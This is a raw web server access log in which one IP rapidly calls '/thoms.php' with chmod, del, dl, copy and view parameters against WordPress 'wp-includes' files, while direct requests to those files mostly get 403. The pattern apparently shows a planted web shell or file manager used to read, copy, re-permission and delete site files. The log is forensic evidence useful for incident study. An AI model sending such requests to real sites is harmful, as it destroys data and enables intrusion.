45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?chmod=fonts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?del=css&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=css&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /bossini.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /bossini.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59146 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 200 12628 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 200 71113 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 200 16526 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59160 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 200 15830 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59189 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:30 -0400] "GET /thoms.php?chmod=block-patterns.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?chmod=date.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?del=deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /bossini.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 200 15739 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 200 23708 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 200 19618 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:31 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59207 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /thoms.php?del=ms-default-filters.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59179 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /thoms.php?del=robots-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 200 12090 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /bossini.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /bossini.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?chmod=build&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=build&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:32 -0400] "GET /thoms.php?dl=date.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=date.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?chmod=class-smtp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?del=class-avif-info.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59180 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:33 -0400] "GET /thoms.php?dl=blocks.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 200 12137 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /bossini.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 200 20044 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /thoms.php?dl=feed-rdf.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59140 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /thoms.php?dl=class-smtp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:35 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:34 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:35 -0400] "GET /bossini.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:35 -0400] "GET /bossini.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:35 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:35 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:35 -0400] "GET /thoms.php?dl=block-i18n.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:35 -0400] "GET /thoms.php?del=class-walker-category.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:35 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 58962 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:36 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fshortcodes.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fshortcodes.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:36 -0400] "GET /thoms.php?del=compat-utf8.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:36 -0400] "GET /thoms.php?del=rewrite.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:36 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 200 12335 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:36 -0400] "GET /thoms.php?del=template-canvas.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59213 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:36 -0400] "GET /thoms.php?del=images&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=images&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 200 12324 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
